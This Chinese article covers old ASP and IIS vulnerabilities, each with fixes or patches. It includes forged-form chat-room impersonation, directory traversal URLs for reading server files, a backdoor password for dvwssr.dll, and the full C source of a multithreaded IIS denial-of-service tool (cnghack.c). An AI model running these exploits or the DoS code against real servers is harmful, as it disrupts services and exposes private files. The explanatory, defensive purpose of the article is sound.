ASP漏洞及安全建议(3)
网络整理 - 09-14
8、ASP聊天室程序的漏洞问题描述:
如果聊天室ASP程序设计不当,很容易会给他人利用来做坏事:可以踢人,穿墙,捣乱.
首先,我们看看聊天室里有什么漏洞,大家看看下面这段代码:
<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form ACTION="chatt.asp" METHOD="POST" target="mtalk1"
>
<input type="hidden" value="测试者">******
<input type="hidden" value="boy">********
<input type="hidden" value="">
<input type="hidden" value="sendtalk">
<div><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>发言: <input type="text" size="60"> </td>
<td><input type="submit" value="发 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
对象:<input type="text" size="10">
表情:<select size="1">
………
……………
……………………
</form>
<form ACTION="chatt.pl" METHOD="POST">
<input type="hidden" value="测试者">!!!!!!
<input type="hidden" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
以上这段代码是我在某个聊天室用"测试者"作代号登陆后在发言帧当下来的, 这只是一小部份,但在这一小部份代码里面就有两个漏洞。
第一个漏洞
大家看看上面的代码加上"*"号的那两句,其中第一句中的"测试者"就是我登陆的名字,还有,第二句中的"boy"是登陆时的性别,还有再看看下面我加上"!" 号的两句,第一句里还是有我登陆时的名字,这几句都是我现在想说的两个漏洞所在点。如果想在这个聊天室里穿墙的话,只要把发言帧的代码当下来另存,把"form"的"action"改成聊天室的地址,然后把再"*"号的第一句的“测试者”两字改成想要的名字就可以了。也可以变换性别,只要把第二句的 "boy"改成"girl"。这就是所谓的穿墙术了。你甚至可以把它改成在线人的名字,然后发言,这样就冒充别人的姓名谈话。
第二个漏洞
踢人的漏洞就是这个了,我们看一下带"!"号的第一句,上面有是合法用户登陆的名字,再看第二句,他有”getout”,再加上上面还有一段"form"标签,这段就是我们退出聊天室时的代码,这个有什么用呢?我们先试试看,首先还是把"form"标签的"action"改成 聊天室的地址,不然就不知道提交给哪个家伙了。然后把"风风"改成你想踢下去的人的名字然后单击“退出”,那就把那个人踢出聊天室了。这个就是聊天室踢人的漏洞。
这两个漏洞主要的原因是这两个漏洞使服务程序不识别客户发出的指令是不是合法用户。 以上两漏骗服务程序来更名发出发言,或更名退出,使得真正的使用者受害。
当然上面的程序中还有一个漏洞,输入框没有对HTML语句和JAVAscript语句做过滤。这个问题我们在漏洞5中已有详细分析,这里就不谈了。
问题解决或者建议:
在程序设计中让服务程序能识别到底是哪个家伙发出的指令就可以了,具体做法可以为每个聊天者发一个识别码,象五笔字一样,也可以用每个聊天者的密码识别,也可以把聊天者的密码随机加密后用作识别等等 ,反正能使你的服务程序识别到底是谁发出的指令就可以了。
9、NT iss4.0_AuthChangeUrl? 漏洞
问题描述:
在NT iis4.0,当输入如下命令时
?<font%20size=7%20color=red>你好
你看到发生了什么吗?<font size=7 color=red>被解释成功
出现了红色的放大的“你好”字
我们再来看看以下的命令:
?<img%20src=http://www.aspcool.com/lanmu/file:\\\c:\1.jpg>
上面的命令将显示c:根目录下的1.jpg图片,如果1.jpg存在的话。
?<a%20href=file:///c:/install.exe>
上面的命令将下载C:根目录下的install.exe文件。
按照这种方法还能打开对方服务器上一个已经知道的文本文件。
10、微软开发的两个动态库存在后门允许用户查看ASP文件源程序和下载整个网站
问题描述:
随IIS和Frontpage Extention server而来的动态库程序,存在后门,允许用户远程读取asp、asa和CGI程序的源代码。但这个动态库要求有密码,这个后门的密码是: "Netscape engineers are weenies!"
程序路径为: /_vti_bin/_vti_aut/dvwssr.dll
一般安装了 Frontpage98的 IIS服务器都有这个路径和文件。这个程序要求解码后才能发挥读取asp等源程序,有趣的是,这个密码正是嘲弄其竞争对手Netscape的。
现提供一个有该漏洞的国外网站给安全技术人员参考:
关于读取源程序,请下载这个测试程序,用法为:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
测试程序:
11、漏洞名称:IIS4.0受HTTP的D.O.S攻击漏洞
问题描述:
受影响的版本:IIS 4.0以及更早的版本
这是一个很简单的方法.发送很多的"Host:aaaaa...aa"到IIS:
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
发送了象上面所写的两次请求后,对方的IIS在接受了这些请求后就会导致内存溢出.当然,它就不能对更多的请求作出反应。因为对方正缺乏虚拟内存,服务器也将停止运行。事后,对方不能通过重起web service来解决问题,而必须重启服务器。
12 漏洞名称:IIS5.0超长URL拒绝服务漏洞
问题描述:
Microsoft IIS 5.0在处理以".ida"为扩展名的URL请求时,它会有两种结果。一个可能的结果是服务器回复"URL String too long"的信息;或类似"Cannot find the specified path" 的信息。另一种可能就是服务器端服务停止,并返回"Access Violation"信息(即成功的实现了对服务器端的拒绝服务攻击)
当远端攻击者发出类似如下的请求时:
[25kb of '.']...ida
服务器端会崩溃(导致拒绝服务攻击)或返回该文件不在当前路径的信息(暴露文件物理地址)
问题解决或者建议:
大多数情况下,站点很少使用扩展名为".ida"和".idq"的文件,可在ISAPI脚本映射中,将扩展名为".ida"和".idq"的应用程序映射删除。
13请求不存在的扩展名为idq或ida 文件,会暴露服务器上得物理地址.
问题描述:
通过请求一个不存在的扩展名为idq或ida得文件,IIS会暴露文件在服务器上得物理地址.这样会给攻击者提供了不必要的信息,而且,这对攻击一个Web站点来说,是很有价值的第一步。
测试程序:
通过请求如:
或:
一个远端用户可以收到类似:'The IDQ d:\http\anything.idq could not be found'的响应。
这样的一个响应就会让攻击者获得了Web站点的物理路径,并且还可以获得更多的有关该站点在服务器上的组织与结构。
14、NT Index Server存在返回上级目录的漏洞
问题描述
受影响的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附带的一个软件的工具,其中的功能已经被WinNT 2000中的Indexing Services所包含。当与IIS结合使用时,Index Server和Indexing Services便可以在最初的环境来浏览Web Search的结果,它将生成一个HTML文件,其中包含了查找后所返回页面内容的简短引用,并将其连接至所返回的页面[即符合查询内容的页面],也就是超级连接。要做到这一点,它便需要支持由webhits.dll ISAPI程序处理的.htw文件类型。这个dll允许在一个模版中使用"../"用做返回上级目录的字符串.这样,了解服务器文件结构的攻击者便可以远程的阅读该机器上的任意文件了。
漏洞的利用:
1)您的系统中存在.htw文件
Index Server提供的这种超级连接允许Web用户获得一个关于他搜寻结果的返回页,这个页面的名字是与CiWebHitsFile变量一起通过.htw文件的,webhits.dll这个ISAPI程序将处理这个请求,对其进行超级连接并返回该页面。因此用户便可以控制通过.htw文件的CiWebHits变量,请求到任何所希望获得的信息。另外存在的一个问题便是ASP或其他脚本文件的源代码也可以利用该方法来获得。
上面我们说过webhits.dll后接上"../"便可以访问到Web虚拟目录外的文件,下面我们来看个例子:
?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在浏览器中输入该地址,便可以获得该服务器上给定日期的Web日志文件.
在系统常见的.htw样本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [这个文件通常受loopback限制]
2)您的系统中不存在.htw文件
调用一个webhits.dll ISAPI程序需要通过.htw文件来完成,如果您的系统中不存在.htw文件,虽然请求一个不存在的.htw文件将失败,但是您的仍然存在可被利用的漏洞。其中的窍门便是利用inetinfo.exe来调用webhits.dll,这样同样能访问到Web虚拟目录外的文件。但我们需要通过制作一个的特殊的URL来完成该漏洞的利用。首先我们需要一个有效的文件资源,这个文件必须是一个静态的文件,如".htm",".html",".txt"或者".gif",".jpg"。这些文件将用作模版来被webhits.dll打开。现在我们需要获得inetinfo.exe来利用webhits.dll,唯一可以做到这点的便是请求一个.htw文件:
?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明显,这个请求肯定会失败,因为系统上不存在这个文件。但请注意,我们现在已经调用到了webhits.dll,我们只要在一个存在的文件资源后面[也就是在.htw前面]加上一串特殊的数字( %20s ),[就是在例子中default.htm后面加上这个代表空格的特殊数字],这样我们便可以欺骗过web服务器从而达到我们的目的.由于在缓冲部分中.htw文件名字部分被删除掉[由于%20s这个符号],所以,当请求传送到webhits.dll的时候,便可以成功的打开该文件,并返回给客户端,而且过程中并不要求系统中真的存在.htw文件。
问题解决和建议:
微软已经对该问题发放了补丁:
Index Server 2.0:
Intel: ?ReleaseID=17727
Alpha: ?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: ?ReleaseID=17726
15 绕过验证直接进入ASP页面。
漏洞描述:
如果用户知道了一个ASP页面的路径和文件名,而这个文件又是要经过验证才能进去的,但是用户直接输入这个ASP页面的文件名,就有可能通过绕过验证.比如:我在一些网站上这样试过:首先关闭所有的浏览器,窗口,输入:
?page=1
就样就看到了只能系统员才能看到的页面。当然有些人为了防止这种情况也会在system_search.asp的开头加个判断,比如:判断session(“system_name”),如果不为空时就能进入,这样上面的url请求就不能直接进入管理员页面了。但是这种方法也有一个漏洞,如果攻击者先用一个合法的帐号,或者在本机上生成一个session,如session(“system_name”)=”admi”,那因为session(“system_name”)不为空,这样也能直接进入绕过密码,直接进入管理员页面。
解决方法:
在需要验证的ASP页面开头处进行相应的处理。比如:可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
16、IIS4.0/5.0特殊数据格式的URL请求远程DOS攻击
漏 洞 描 述:
当在安装有有IIS4.0或者IIS5.0的web服务上,请求一个具有特殊数据格式的URL,会拖慢受攻击web 服务器的响应速度,或许会使其暂时停止响应。
受影响的版本
Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0
漏洞测试程序如下:
源代码如下:
测试程序:
只要打入:iisdos <***.***.**.**> 就能攻击对方web 服务器
问题解决:
Internet Information Server 4.0:
?ReleaseID=20906
Internet Information Server 5.0:
?ReleaseID=20904
更多的信息:
Microsoft 安全公告MS00-021:
相关连接
17 IIS web server DOS
漏洞描述:
默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer" 设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\[email protected]\n\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe
在:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
设置为十进制
具体数值设置为你想设定的IIS允许接受的URL最大长度。
CNNS的设置为256
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击
漏 洞 描 述:
Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。
影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb
ASP代码如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。
19、ASP主页.inc文件泄露问题
漏洞描述:
受影响的版本:任何提供ASP服务的系统
远程:YES / 本地:YES
内容摘要:
当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
具体操作过程是:
- 利用搜索引擎查找包含+"Microsoft VBscript 运行时刻错误执行搜索" +".inc ," 的关键字
- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户
- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息
漏洞的利用:
例子:
-
暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址
-
暴露数据库性质
- :8013/includes/general.inc
暴露 cobranding
-
暴露 datafile 地点和结构
-
包括数据库结构为 StoreFront 2000 暴露源代码
- scripts/IsSearchEngine.inc
暴露搜索引擎记录文件
-
暴露成员电子邮件地址
-
暴露成员私人的注释文件
-
暴露 cookie 逻辑
解决方案:
- 搜索引擎应该不索引有 asp 运行时刻错误的页
- 程序员应该在网页发布前对其进行彻底的调试
- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们
asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。
20、利用Activer server explorer可对文件进行读写访问
漏洞描述:
chinaasp的Activer server explorer可以很方便的对本地文件在线查看服务器上的目录 在线查看文件的名称、大小、类型、修改时间,在线编辑纯文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接执行服务器上的文件。
Activer server explorer要求填写相对路径或者绝对路径,但是假如:有一个攻击者把Activer server explorer上传到目标服务器上的某个目录,并且这个目录支持ASP的话,那么他就可以通过Activer server explorer修改、执行目标服务器上的文件。这种情况可以发生在一个攻击者拥有目标NT服务器上的一个可写目录帐号,并且这个目录又支持ASP。比如一些支持ASP的个人免费主页服务器,把Activer server explorer先传上你申请的免费主页空间,再通过各种方法得到目标服务器的路径,(比如可通过漏洞:“请求不存在的扩展名为idq或ida 文件,会暴露文件在服务器上的物理地址.”).或者直接在相对路径上填”.”,一般是默认。这样攻击者就能任意修改,执行目标服务器上的文件,不管他对这个文件有无读写访问权。
所以那些提供有ASP服务的个人主页或者其它服务的服务器,就要加倍小心这种攻击了。
漏洞解决方法
其实Activer server explorer就是利用了上面讲的漏洞 4 filesystemobject 组件篡改下载 fat 分区上的任何文件的漏洞。
那么我们如何才能限制用户使用FileSystemObject对象呢?一种极端的做法是完全反注册掉提供FileSystemObject对象的那个组件,也就是Scrrun.dll。具体的方法如下:
在MS-DOS状态下面键入:
Regsvr32 /u c:\windows\system\scrrun.dll
(注意:在实际操作的时候要更改成为你本地的实际路径)
但是这样的话,就不能使用FileSystemObject对象了,有时利用FileSystemObject对象来管理文件是很方便,有什么办法能两全其美呢?
我们可以做到禁止他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
21 IIS4.0/IIS5.0超长文件名请求存在漏洞
漏洞描述:
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
当在一个已知的文件名后加230个"%20"再加个.htr,会使安装有Microsoft IIS 4.0/5.0泄漏该文件的内容。这是由ISM.dll映射的.htr文件引起的.比如:
%20<重复230次>.htr
这种请求只有当.htr请求是第一次调用或者ISM.dll第一次装载进内存,才能起作用。
解决方法:
安装补丁
Microsoft IIS 5.0:
Microsoft IIS 4.0:
22 ASP编辑器会自动备份asp文件,会被下载的漏洞
漏洞描述:
在有些编辑asp程序的工具,当创建或者修改一个asp文件时,编辑器自动创建一个备份文件,比如:UltraEdit就会备份一个..bak文件,如你创建或者修改了some.asp,编辑器自动生成一个叫some.asp.bak文件,如果你没有删除这个bak文件,攻击有可以直接下载some.asp.bak文件,这样some.asp的源程序就会给下载。